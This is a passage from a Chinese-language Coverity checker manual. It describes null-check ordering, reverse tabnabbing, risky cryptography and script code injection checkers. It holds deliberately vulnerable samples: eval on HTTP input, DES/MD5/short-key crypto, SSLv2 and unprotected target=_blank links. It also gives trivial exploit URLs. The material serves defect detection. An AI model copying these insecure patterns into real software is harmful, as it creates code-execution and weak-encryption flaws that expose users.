- 将整数与负值进行比较。
- 通过危险的方式使用可能为负的整数。

要抑制第一种情况中的误报（或者不是由跨程序接口导致的误报），请使用代码行注解。在第二种情况下，您可以使用库函数：请参阅 `NEGATIVE RETURNS` 模型信息。

默认启用：`REVERSE_NEGATIVE` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.273.2. 示例

本部分提供了一个或多个 `REVERSE_NEGATIVE` 示例。

```
void simple_reverse_neg(int some_signed_integer) {
    some_struct *x = kmalloc(some_signed_integer, GFP_KERNEL); // Dangerous integer
    use
    if (some_signed_integer < 0) // Check after use
        return error;
}
```

4.273.3. 事件

本部分描述了 `REVERSE_NEGATIVE` 检查器生成的一个或多个事件。

- `negative_sink_in_call` - 在函数调用中使用了整数；如果整数为负，将会形成缺陷。然后跟踪该整数，以便确定之后是否与负值进行了比较。
- `negative_sink` - 在运算中使用的整数如果为负，则可能产生不良影响。然后跟踪该整数，以便确定之后是否与负值进行了比较。
- `check_after_sink` - 在确定了整数绝不应为负后，检查其是否为负数。此事件会导致该检查器报告缺陷。

4.274. REVERSE_INULL

质量检查器

4.274.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、Python、Ruby、Scala、Swift、TypeScript、Visual Basic

REVERSE_INULL 查找以下很多情况：在使用了应该已经失败的值（如果该值确实为 null、Nothing、nil 或 undefined）之后执行是否存在 null、Nothing、nil 或 undefined 值的检查。此类用法包括在 C/C++/C#/Java/Visual Basic 中的解引用，在 C#、Swift 或 Visual Basic 中的解封装，或其他语言中的成员或属性访问。该检查器的名称继承自内部不一致代码，其中检查和使用的顺序似乎反转了。

默认启用：REVERSE_INULL 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.274.1.1. C/C++、Go

该 C/C++ 检查器可查找在解引用后执行 null 检查的很多情况。

由于解引用 null/nil 指针将导致进程崩溃，因此在解引用之前执行 NULL/nil 检查非常重要。此检查器可查找在解引用指针之后又对其执行 NULL/nil 检查的情况。如果程序员知道解引用不可能为 null/nil，则解引用是安全的。如果是这种情况，则 NULL/nil 检查是不必要的并且应该移除，因为这表明该指针可能为 null/nil。还有一种可能性就是，指针可能为 null/nil，这可以通过在解引用之前启动 null/nil 检查进行修复。

如果 REVERSE_INULL 判定绝不可能为 null/nil 的指针为 null/nil 或者判定可能为 null/nil 的指针被解引用（而实际上并未解引用），则可能发生误报。在后一种情况下，您可以使用与 NULL_RETURNS 分析相同的库函数抑制技术。如果该分析错误地报告了对指针执行了 NULL/nil 检查或者不可达的路径导致了缺陷，您可以使用代码行注解抑制此事件 [仅限 C/C++]。

4.274.1.2. C# 和 Visual Basic

该 C# 检查器可查找在解引用之后执行的 null 检查。解引用 null 引用变量会导致程序抛出异常，因此在解引用之前执行 NULL 检查非常重要。此检查器可查找程序员解引用了变量，然后检查引用变量是否为 null 的很多情况。如果程序员知道解引用不可能为 null，则解引用是安全的。如果是这种情况，则 null 检查是不必要的并且应该移除，因为这会提示其他开发人员指针可能为 null。还有一种可能性就是，指针可能为 null，这可以通过在解引用之前启动 null 检查进行修复。

默认启用：REVERSE_INULL 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.274.1.3. Java 和 Scala

该 Java 或 Scala 检查器可查找在解引用之后执行的 null 检查。解引用 null 引用变量会导致程序抛出异常，因此在解引用之前执行 NULL 检查非常重要。此检查器可查找程序员解引用了变量，然后检查引用变量是否为 null 的很多情况。如果程序员知道解引用不可能为 null，则解引用是安全的。如果是这种情况，则 null 检查是不必要的并且应该移除，因为这表明引用可能为 null。还有一种可能性就是，引用可能为 null，这可以通过在解引用之前启动 null 检查进行修复。

4.274.1.4. JavaScript、TypeScript

此 JavaScript 或 TypeScript 检查器可查找在访问值的属性或调用相应值作为函数之后检查该值是否为 null 或未定义的代码。如果相应值为 null 或未定义，此类代码将会在执行该检查之前抛出 TypeError。此检

查器报告的 unsafe-use-then-check 模式表明应该启动该检查以保护使用；如果程序员知道变量不可能为 null 或未定义，则表明移除该检查是不错的选择，因为该检查是多余的，可能会引起混淆。

4.274.1.5. Python

该 Python 检查器可查找在将值用于表达式或者将其用作函数调用或属性引用基础后检查该值是否为显式 null 值 (None、NotImplemented 或 Ellipsis) 的代码。如果相应值为类 null 值，此类代码将会在执行该检查之前抛出 NameError 异常。从另一方面来说，如果变量绝不会在其使用点包含类 null 值，则没有必要执行 null 检查。应该在使用点之前启动 null 检查或将其实例移除。

4.274.1.6. Ruby

该 Ruby 检查器可查找在将值用于表达式或者将其用作方法调用或属性引用基础后检查该值是否为 nil、true 或 false 值的代码。该代码的执行可能将在其使用点抛出 NoMethodError 异常，或 null 检查不必要。应该在使用点之前启动 null 检查或将其实例移除。

4.274.1.7. Swift

```
handler!.handle(a)
handler?.handle(b) // REVERSE_INULL
```

第一个语句断言该处理程序不是 nil 并执行对它的调用。第二个语句检查处理程序是否为 nil，并且如果它是 nil，则跳过调用。会将关于对处理程序是否可能为 nil 的不一致处理方式报告为缺陷。

4.274.2. 缺陷剖析

REVERSE_INULL 缺陷表示程序流中发生的 null 检查太晚以致不起作用。通常，null 检查执行特殊代码（例如，显示错误消息然后退出），这些代码规避由于检查的值碰巧为 NULL 导致的不良作用。在 REVERSE_INULL 缺陷中，不良作用在执行检查前将已经发生。

该检查器通过跟踪表示对象引用的表达式和这些对象引用是否已被评估（即，已解引用）的注释来起作用。然后，它寻找 null 检查条件，例如 if (p == NULL) [C/C++]。如果对象引用在导致 null 检查的每个路径上都已被评估，则将报告 REVERSE_INULL 缺陷。

在这些条件下，null 检查无实际意义：不良作用已经发生，或实际上绝不会到达 null 检查。修复方法是在所有评估之前启动 null 检查，或将其彻底移除。

4.274.3. 示例

本部分提供了一个或多个 REVERSE_INULL 示例。

4.274.3.1. C/C++

在此示例中，在检查 request_buf 是否为 NULL 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 NULL。

```
void basic_reverse_null(struct buf_t *request_buf) {
    *request_buf = some_function();           // Assignment dereference
```

```

if (request_buff == NULL)           // NULL check AFTER dereference
    return;
}

```

4.274.3.2. C#

在此示例中，在检查 `o` 是否为 `null` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `null`。

```

public static void ReverseINull(object o)
{
    Console.WriteLine("Argument: " + o.ToString());
    // REVERSE_INULL reported here
    if (o == null)
    {
        Console.WriteLine("Invalid argument: o is null");
    }
}

```

4.274.3.3. Go

在下面的示例中，条件语句返回了 REVERSE_INULL 缺陷：

```

type Conf struct {
    host string
    port int
    setup bool
}

func reverseINull(c *Conf) {
    c.setup = false
    if c != nil {
        c.port = 80
    }
}

```

4.274.3.4. Java

在此示例中，在检查 `o` 是否为 `null` 之前，它已经通过将 `o` 作为参数传递给 `callB` 在所有路径上被解引用，表明它之前应该已经被检查是否为 `null`。

```

public class ReverseINullExample {
    public static Object callA(Object o) {
        return "hi";
    }
    public static Object callB(Object o) {
        return o.toString();
    }

    public static String testA(Object o) {
        // callB dereferences o, making the later check a bug
    }
}

```

```
// if this were callA, no bug would be reported here.
System.out.println(callB(o));
if( o == null ) {
    System.out.println("It's null");
}
    return "done";
}
}
```

4.274.3.5. Scala

在此示例中，在检查 `x` 是否为 `null` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `null`。

```
def ReverseInullExample(x : X) {
    x.m
    if (x eq null) {} // REVERSE_INULL reported here
}
```

4.274.3.6. JavaScript

在此示例中，在检查 `obj` 是否为 `null` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `null`。

```
function reverseINull(obj)
{
    console.log("Argument: " + obj.x);
    // REVERSE_INULL reported here
    if (obj == null)
    {
        console.log("Invalid argument: obj is null or undefined.");
    }
}
```

4.274.3.7. Python

在此示例中，在检查 `x` 是否为 `None` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `None`。

```
def deref_eq_null(x):
    x.m          # A property of x is accessed here.
    if x == None: # Defect reported here: Null check after access.
        pass
```

4.274.3.8. Ruby

在此示例中，在检查 `x` 是否为 `nil` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `nil`。

```
def reverse_inull(x)
```

```
x.foo()    # Possible attempt to invoke 'foo' on nil.  
if x.nil?  # Defect reported here.  If x is nil, then the call  
           # to foo() will already have generated an exception.  
    fail "Invalid x"  
end  
end
```

4.274.3.9. Visual Basic

在此示例中，在检查 `o` 是否为 `Nothing` 之前，它已经在所有路径上被解引用，表明它之前应该已经被检查是否为 `Nothing`。

```
Imports System  
Class ReverseINull  
    Public Shared Sub Example(o As Object)  
        With o  
            Console.WriteLine("Argument: " + .ToString())  
        End With  
        ' o is checked for null after always being dereferenced.  
        If o Is Nothing Then  
            Console.WriteLine("Invalid argument: o is null")  
        End If  
    End Sub  
End Class
```

4.274.4. 事件

本部分描述了 REVERSE_INULL 检查器生成的一个或多个事件。

- `deref_ptr` - 指针被解引用，并且将被跟踪之后是否与 `null` 进行了比较。此事件仅限于 C/C++ 和 Go。
- `deref_ptr_in_call` - 指针被通过函数调用解引用，并且将被跟踪之后是否与 `null/nil` 进行了比较。此事件仅限于 C/C++ 和 Go。
- `check_after_deref` - 检查指针或引用是否为 `null` 或 `undefined`，但指向此检查的所有路径都包含使用指针或引用（如果它们为 `null` 或 `undefined`，将会在运行时失败）的情况。此事件还表明指针或引用在使用和检查之间未重新赋值。

4.275. REVERSE_TABNABBING

安全检查器

4.275.1. 概述

支持的语言：. JavaScript、Ruby、TypeScript

REVERSE_TABNABBING 查找以下情况：动态生成链接，并将链接设置为通过其 `target` 属性设置为 `_blank` 来打开新窗口。通过此类链接打开的第三方站点能够将原始窗口或选项卡重定向任意 URL，而无需用户交互。当返回至原始窗口或选项卡时，用户可能通过钓鱼攻击被诱骗泄露敏感信息。

当动态生成锚定标记并且将其 `target` 属性设置为 `_blank` 时，会显示此缺陷。通过此类链接打开的页面有权通过 `window.opener.location` 访问原始页面的 `location` 对象。通过这种方式链接的恶意页面能够将原始页面导航至任意站点并执行钓鱼攻击。

要修复此缺陷，请将 `rel` 属性设置为 `noopener`，从而禁止链接的页面通过 `window.opener` 对象访问原始页面。

默认禁用 : `REVERSE_TABNABBING` 默认对 JavaScript 和 TypeScript 禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用 : 要启用 `REVERSE_TABNABBING` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

`REVERSE_TABNABBING` 默认对 Ruby 启用。

4.275.2. 示例

本部分提供了一个或多个 `REVERSE_TABNABBING` 示例。

4.275.2.1. JavaScript 和 TypeScript

在下面的 React 代码中，针对 JSX 模板内的锚定标记显示了 `REVERSE_TABNABBING` 缺陷。

```
export default class MyButton extends Component {
  render() {
    return (
      <div>
        <a href={this.props.url} target="_blank" >  {}
          <span>Vulnerable link</span>
          <img src={Link} className="h2" height="20" width="20" />
        </a>
      </div>
    )
  }
}
```

4.275.2.2. Ruby

在下面的 Ruby on Rails 代码中，将创建一个指向用户控制的 URL 的链接，该链接在新窗口中打开。将针对此代码报告 `REVERSE_TABNABBING` 缺陷，因为该链接没有为 `rel` 属性指定 `noopener` 值。

```
<%= link_to("Home Page", @user.site_url, target: "_blank") %>
```

4.276. RISKY_CRYPTO

安全检查器

4.276.1. 概述

支持的语言： C、C++、C#、Go、Java、JavaScript、Kotlin、Objective-C、Objective-C+、Python、Swift、TypeScript、Visual Basic

RISKY_CRYPTO 查找使用容易遭到加密攻击或存在其他风险的加密算法的情况。示例包括使用根据当前标准较弱的旧版算法，以及特定算法的不当使用。

RISKY_CRYPTO policy"> RISKY_CRYPTO 的默认策略包括以下规则：

- 不应使用 DES 算法。该算法已过时，具有先进硬件的攻击者只需数日即可破解 DES 加密。这相当于以下检查器选项：forbid:DES|PBEMD5DDES/*/*/*
- 不应使用 3DES 算法。它很容易受到诸如 Sweet32 之类的攻击。这相当于以下检查器选项：forbid:DESEDE|DESEDEWRAP/*/*/*
- 不应在未使用随机 padding 的情况下使用 RSA 算法。缺少随机 padding 可让攻击者破解此加密，例如使用 Coppersmith's Attack。这相当于以下检查器选项：forbid:RSA/*/NOPD/*
- 不应使用 ECB 块模式。如果两块纯文本相同，且这两块使用相同密钥加密，则这两块的密文也将相同。这将泄漏有关基础数据的信息。这相当于以下检查器选项：forbid:/*/ECB/*/*
- 不应使用弱 hash 算法和容易冲突的 hash 算法。不安全的 hash 可能还会允许长度扩展攻击，攻击者可通过此类攻击为使用原始消息作为前缀的消息生成有效 hash。这相当于以下检查器选项：forbid:SHAO|SHA1|MD2|MD4|MD5|RIPEMD/*/*/*
- 不应使用 RC4 算法。该算法的初始输出包含可测量偏差，这可以让具有足够硬件的攻击者破解此加密。这相当于以下检查器选项：forbid:RC4/*/*/*
- 不应针对对称密码算法使用少于 128 位的密钥大小。不应针对不对称密码算法使用少于 2048 位的密钥大小。使用短密钥可以让具有足够硬件的攻击者破解此加密。
- 建立允许 SSLv3/TLS1.2 (及更早版本) 协议的 SSL 连接是不安全的。攻击者可能能够破解并提取通过网络传输的敏感数据。(仅限 Java、Kotlin 和 .NET)。

默认禁用：RISKY_CRYPTO 默认对 C、C++、C#、Java、JavaScript、Objective-C、Objective-C+、Python、Swift、TypeScript、Visual Basic 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

默认启用：RISKY_CRYPTO 默认对 Go 和 Kotlin 启用。

Web 应用程序安全检查器启用：要启用 RISKY_CRYPTO 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 RISKY_CRYPTO，请在 cov-analyze 命令中使用 --android-security 选项。

4.276.2. 示例

本部分提供了一个或多个 RISKY_CRYPTO 示例。

4.276.2.1. C/C++

下面的示例调用了 Windows Cryptography API 函数 `CryptoDeriveKey` 来生成使用数据加密标准 (DES) 的密钥，这是一种保护作用很有限的算法，因为通过台式机可以很轻松地破解该算法。

```
CryptDeriveKey(hCryptProv, CALG_DES, hHash, 0, &hKey));
```

4.276.2.2. C#

下面的示例使用了旧版 DES 算法，这是一种保护作用很有限的算法，因为通过台式机可以很轻松地破解该算法。

```
DES des = DES.Create();
```

下面的示例创建了用于强 AES 算法的密钥，但使用了 96 位的弱密钥大小。该检查器可针对弱密钥大小报告缺陷。

```
Aes aes = Aes.Create();
aes.KeySize = 96;
```

4.276.2.3. Go

下面的示例使用了旧版 DES 算法，这是一种保护作用很有限的算法，因为可以很轻松地破解该算法。对于对 `block.Encrypt` 的调用，将显示一个缺陷。

```
package main

import "crypto/des"

func usesWeakEncryption(key, data, dst []byte) []byte {
    block, _ := des.NewCipher(key)
    block.Encrypt(dst, data) // Defect here
    return dst
}
```

下面的示例使用 MD5 hash 函数，由于该函数不具备抗冲突性，因此被认为密码可被破解。针对 `usesWeakHash` 数据函数的 `return` 语句返回一个缺陷。

```
package main

import "crypto/md5"

func usesWeakHash(data []byte) [md5.Size]byte {
    return md5.Sum(data) // Defect here
}
```

4.276.2.4. Java

下面的示例使用了旧版 DES 算法，这是一种保护作用很有限的算法，因为通过台式机可以很轻松地破解该算法。

```
Cipher desCipher = Cipher.getInstance( "DES" );
```

下面的示例创建了用于强 AES 算法的密钥，但使用了 112 位的弱密钥大小。该检查器可针对弱密钥大小报告缺陷。

```
KeyGenerator keyGenerator = KeyGenerator.getInstance( "AES" );
keyGenerator.init(112);
```

4.276.2.5. JavaScript

下面的示例调用了 Node.js crypto 模块，以使用 DES 算法创建 Cipher 实例。

```
var crypto = require('crypto');
var cipher = crypto.createCipher('DES', password);
```

此外，RISKY_CRYPTO 检查器在 JavaScript/TypeScript 中查找已建立的 SSL 连接允许 SSLv3（或更早版本）协议的情况。攻击者可能能够破解并提取通过网络传输的敏感数据。它还查找因攻击或理论上存在弱点而弃用的不安全密码未被禁用的情况。

在下面的示例中，如果在函数 `require("https").createServer()` 的 `options` 参数配置中将 `secureProtocol` 属性设置为 `SSLv2_method`，将显示 RISKY_CRYPTO 缺陷：

```
const https = require("https");
const express = require("express");
const app = express();

const options = {
  secureProtocol: "SSLv2_method" //#defect#RISKY_CRYPTO##ssl_protocol
};

app.use((req, res) => {
  res.writeHead(200);
  res.end("hello world\n");
});

app.listen(8000);

https.createServer(options, app).listen(8080);
```

4.276.2.6. Kotlin

下面的示例使用了旧版 DES 算法，这是一种保护作用很有限的算法，因为通过台式机可以很轻松地破解该算法。

```
val desCipher = Cipher.getInstance( "DES" )
```

下面的示例创建了用于强 AES 算法的密钥，但使用了 112 位的弱 keysizes。该检查器可针对弱密钥大小报告缺陷。

```
val keyGenerator = KeyGenerator.getInstance( "AES" ) keyGenerator.init(112)
```

4.276.2.7. Python

下面的示例使用 `hashlib` 模块通过 DES 算法返回消息摘要。将报告针对调用 `hashlib.new('des')` 的缺陷。

```
import hashlib

def get_hexdigest(message):
    h = hashlib.new('des')
    h.update(message)
    return h.hexdigest()
```

4.276.2.8. Swift

本示例通过调用 `CC_MD5_Final` 使用弱 MD5 hash 算法对机密进行 hash。

```
func sampleHash() {
    let pass = "MySecret!"
    let context = UnsafeMutablePointer<CC_MD5_CTX>.allocate(capacity: 1)
    var digest = Array<UInt8>(repeating: 0, count:Int(CC_MD5_DIGEST_LENGTH))
    CC_MD5_Init(context)
    CC_MD5_Update(context, pass, CC_LONG(pass.lengthOfBytes(using:
        String.Encoding.utf8)))
    CC_MD5_Final(&digest, context)
    context.deallocate()
    var hexString = ""
    for byte in digest {
        hexString += String(format:@"%@", byte)
    }
    print("Hex of pass (hexString)")
}
```

4.276.2.9. Visual Basic

下面的示例使用了旧版 DES 算法，这是一种保护作用很有限的算法，因为可以很轻松地破解该算法。

```
Dim des As DES = DES.Create()
```

下面的示例创建了用于强 AES 算法的密钥，但使用了 96 位的弱密钥大小。该检查器可针对弱密钥大小报告缺陷。

```
Dim aes As Aes = Aes.Create()
aes.KeySize = 96
```

4.276.3. 选项

本部分描述了一个或多个 `RISKY_CRYPTO` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- RISKY_CRYPTO:allow:<transformation> - [已废弃] 自版本 7.7.0 起此选项已废弃，并将在未来发行版中移除。
- RISKY_CRYPTO:assume_fips_mode:<boolean> - 被设置为 true 时，此选项会将加密提供程序视为 FIPS 140 兼容。由于此模式禁止使用 SSL 版本 2.0 和 3.0（无论显式还是默认），因此此选项将抑制相关缺陷。默认值为 RISKY_CRYPTO:assume_fips_mode:false。此选项对 JavaScript 和 Go 没有作用。
- RISKY_CRYPTO:forbid_ciphersuite:<cipher suite> - 此选项将给定的密码套件添加到被认为不安全的 TLS 密码套件中。该检查器将在发现使用指定的密码套件时报告缺陷。转到 IANA 查看密码套件的官方列表。实际代码中是否支持给定密码套件（例如通过 JVM）将取决于执行环境中使用的 JVM 的版本。此选项仅适用于 Java 和 Kotlin。
- RISKY_CRYPTO:forbid:<transformation> - 此选项可将指定的转换添加到被视为“有风险”的加密转换集合中。该检查器将在发现指定转换时报告缺陷。默认值未设置。

您可以多次指定此选项，以便对每次转换执行 OR 运算。

有关选项值的描述，请参阅下面的转换格式。

另请参阅默认 [p. 563]。

- RISKY_CRYPTO:minimum_tls:<version> 此选项可更改被认为安全的 SSL/TLS 最低版本。使用先前版本的 SSL/TLS 将被标记为报告缺陷。默认值未设置。可接受的值为“SSLv2”、“SSLv3”、“TLSv1”、“TLSv1.1”、“TLSv1.2”、“TLSv1.3”。此选项对 Go 没有作用。
- RISKY_CRYPTO:require_asymmetric:<transformation> - 此选项要求所有不对称算法匹配指定的转换。该选项会覆盖用于不对称算法的所有其他选项。如果该检查器发现与此选项不匹配的不对称转换，它会报告缺陷。默认值未设置。

您可以多次指定此选项，以便对每次转换执行 OR 运算。

有关选项值的描述，请参阅下面的转换格式。

另请参阅默认 [p. 563]。

- RISKY_CRYPTO:require_hash:<transformation> - 此选项要求所有 hash 算法匹配指定的转换。该选项会覆盖用于 hash 算法的所有其他选项。如果该检查器发现与此选项不匹配的 hash 转换，它会报告缺陷。默认值未设置。

您可以多次指定此选项，以便对每次转换执行 OR 运算。

有关选项值的描述，请参阅下面的转换格式。

另请参阅默认 [p. 563]。

- RISKY_CRYPTO:require_symmetric:<transformation> - 此选项要求所有对称算法匹配指定的转换。该选项会覆盖用于对称算法的所有其他选项。如果该检查器发现与此选项的值不匹配的对称转换，它会报告缺陷。默认值未设置。

您可以多次指定此选项，以便对每次转换执行 OR 运算。

转换格式

<transformation> 值是采用 <Algorithm>/<Block Mode>/<Padding>/<Minimum Key Size> 格式编写的元组。对于 <Algorithm>、<Block Mode> 和 <Padding> 中的每一个，指定的值都是描述该算法的字符串。<Minimum Key Size> 获取正值（以位为单位）。*（星号）表示转换可以与该字段的任意值匹配。转换示例为 AES/CBC/*/128。此外，还可以使用符号 | 表示任意字段的 OR 运算；例如：AES|Blowfish/CBC/*/128

另请参阅默认 [p. 563]。

- RISKY_CRYPTO:usage_report:<file> 此选项生成一个 CSV 文件，其中包含有关程序中 crypto 使用情况的信息。信息以如下格式显示：

```
<file>,<line>,<algorithm>,<key_size>,<block_mode>,<padding>,<SSL_protocols>,<cipher_suites>
```

4.276.4. 缺陷剖析

RISKY_CRYPTO 报告使用风险加密算法的证据的缺陷。它不仅报告对直接使用该算法的函数的调用，还报告创建支持 MD5 hash 的对象，使用不安全版本的 SSL/TLS 创建套接字，或创建对象或数据流以支持 DES 加密、解密或密钥生成。支持事件显示了创建此类对象的详情，包括设置算法参数。

4.277. RUBY_VULNERABLE_LIBRARY

安全检查器

4.277.1. 概述

支持的语言：Ruby

如果您的应用程序使用了“缺陷剖析”部分中所列的一个 Ruby-on-Rails 相关漏洞影响的库，RUBY_VULNERABLE_LIBRARY 检查器将报告缺陷。

默认启用：RUBY_VULNERABLE_LIBRARY 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.277.2. 缺陷剖析

如果应用程序使用了以下一个 Ruby-on-Rails 相关漏洞影响的库，将报告 RUBY_VULNERABLE_LIBRARY 缺陷。

Table 4.5. CVE

CVE	CVE	CVE	CVE
CVE-2010-3933	CVE-2012-5664	CVE-2013-6416	CVE-2015-7577
CVE-2011-2929	CVE-2013-0155	CVE-2013-6417	CVE-2015-7578
CVE-2011-2930	CVE-2013-0156	CVE-2014-0080	CVE-2015-7579

CVE	CVE	CVE	CVE
CVE-2011-2931	CVE-2013-0269	CVE-2014-0081	CVE-2015-7580
CVE-2011-2932	CVE-2013-0277	CVE-2014-0082	CVE-2015-7581
CVE-2011-3186	CVE-2013-0333	CVE-2014-3482	CVE-2016-0751
CVE-2012-2660	CVE-2013-1854	CVE-2014-3483	CVE-2016-6317
CVE-2012-2661	CVE-2013-1855	CVE-2014-3514	CVE-2018-3741
CVE-2012-2695	CVE-2013-1856	CVE-2014-7829	CVE-2018-3760
CVE-2012-3424	CVE-2013-1857	CVE-2015-3226	CVE-2018-8048
CVE-2012-3463	CVE-2013-4491	CVE-2015-3227	
CVE-2012-3645	CVE-2013-6414	CVE-2015-7576	

4.277.3. 示例

本部分提供了一个或多个 `RUBY_VULNERABLE_LIBRARY` 示例。

4.277.4. 事件

本部分描述了 `RUBY_VULNERABLE_LIBRARY` 检查器生成的一个或多个事件。

4.278. SCRIPT_CODE_INJECTION

安全检查器

4.278.1. 概述

支持的语言：. C#、Java、JavaScript、PHP、Python、Ruby、Swift、TypeScript、Visual Basic

`SCRIPT_CODE_INJECTION` 查找脚本代码注入漏洞；当不受控制的动态数据用于在服务器中构造脚本代码时，就会产生此类漏洞。脚本代码语言的示例包括 JavaScript、Python 和 Ruby。

默认禁用：`SCRIPT_CODE_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

对于 Ruby 和 Swift，默认启用 `SCRIPT_CODE_INJECTION`。

Web 应用程序安全检查器启用：要启用 `SCRIPT_CODE_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

4.278.2. 缺陷剖析

SCRIPT_CODE_INJECTION 缺陷说明了不可信（被污染）数据源用于构造可执行脚本的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。数据流路径的最终部分表示通过某种方式执行的被污染字符串。

4.278.3. 示例

本部分提供了一个或多个 SCRIPT_CODE_INJECTION 示例。

4.278.3.1. C#

此处，用户控制的 HTTP 请求参数被连接到简短 Python 代码段中，并被传递给 Microsoft DLR 脚本引擎（例如 IronPython）。此缺陷允许用户执行任意 Python 代码。

```
using System.Web;
using Microsoft.Scripting.Hosting;

public class ScriptCodeInjection
{
    void Test(WebRequest Request) {
        // Read a HTTP request parameter.
        // This is untrusted / tainted data.
        string UserId = Request["userid"];

        UserId = EscapeUserId(UserId);
    }

    ScriptEngine MyPythonEngine;

    // Call python code to remove spaces from the user ID.
    private string EscapeUserId(string UserId)
    {
        return MyPythonEngine.Execute<string>(* Defect here */ @""
            import re
            re.sub(' ', '_', "+ UserId +")"
        );
    }
}
```

4.278.3.2. Java

下面的示例使用 Jython（Python 的 Java 接口）执行在 HTTP 请求参数之外构造的 Python。此缺陷允许用户执行任意 Python 代码。

```
String foo = req.getParameter("foo");

ScriptEngine scriptEngine
= new ScriptEngineManager().getEngineByName("python");
```

```
if (scriptEngine != null) {
    scriptEngine.eval( "import os"
        + "os.listdir('/%s/%s') % ('foo', '" + foo + "')");
}
```

4.278.3.3. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。

```
var express = require('express');
var app = express();

app.get('/1', function (req, res) { //Defect here.
    eval(req.query.n || 'a=1');
    res.sendStatus(a);
});

app.listen(3000);
```

利用示例：

```
http://127.0.0.1:3000/1?n=a=10
```

在此处，攻击者可以通过将他们想要执行的代码设置为 n 查询参数来执行任意 JavaScript 代码。

4.278.3.4. PHP

下面的代码示例说明了简单 PHP 脚本中的漏洞。

```
<?php
// inject.php

$source = $_GET['taint'];
eval($source);
?>
```

4.278.3.5. Python

下面的示例将来自 HTTP 请求的被污染数据传递给 Python 解释器。

```
from django.conf.urls import url

def django_view(request):
    eval(request.body);

urlpatterns = [
    url(r'index', django_view)
]
```

利用示例：

```
http://localhost:3000/inject.php?taint=echo("inject");
```

4.278.3.6. Ruby

下面的 Ruby on Rails 代码示例展示了被直接传递给将值作为 Ruby 代码求值的函数的 HTTP 请求值。

```
class ExampleController < ApplicationController
  def show
    eval params[:name]
  end
end
```

4.278.3.7. Swift

下面的示例将被污染的数据从 iCloud Store 传递到 UIWebView JavaScript 引擎。

```
import UIKit
import Foundation

func addItemCodeToPage() {
    // Analyze with --distrust-database
    let uiWebView = UIWebView()
    let store = NSUbiquitousKeyValueStore()
    let code: String = store.string(forKey: "ItemCode")!
    uiWebView.stringByEvaluatingJavaScript(from: code)
}
```

4.278.3.8. Visual Basic

在下面的示例中，针对调用 GetUserName() 显示了一个缺陷。

```
Imports Microsoft.AspNetCore.Mvc

<Route("api/[controller]")>
<ApiController>
Public Class EmployeeController
    Inherits Controller

    Dim Shared Engine As V8.Net.V8Engine

    ' Request handler
    <HttpGet>
    Public Function GetUsername(id As String) As String
        ' DEFECT: Injecting an untrusted string into JavaScript code
        Dim Result As V8.Net.Handle = Engine.Execute(" call_js_func(" + id + ");" )
        If Result Is Nothing Then
            Return ""
        Else
            Return Result.ToString()
        End If
    End Function
End Class
```

```
End Class
```

4.278.4. 选项

本部分描述了一个或多个 `SCRIPT_CODE_INJECTION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `SCRIPT_CODE_INJECTION:distrust_all:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `SCRIPT_CODE_INJECTION:distrust_all:false` (适用于 JavaScript、PHP 和 Python)。
如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。
如果将 cov-analyze 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。
- `SCRIPT_CODE_INJECTION:trust_command_line:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_command_line:true` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_console:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_console:true` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_cookie:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_cookie:false` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
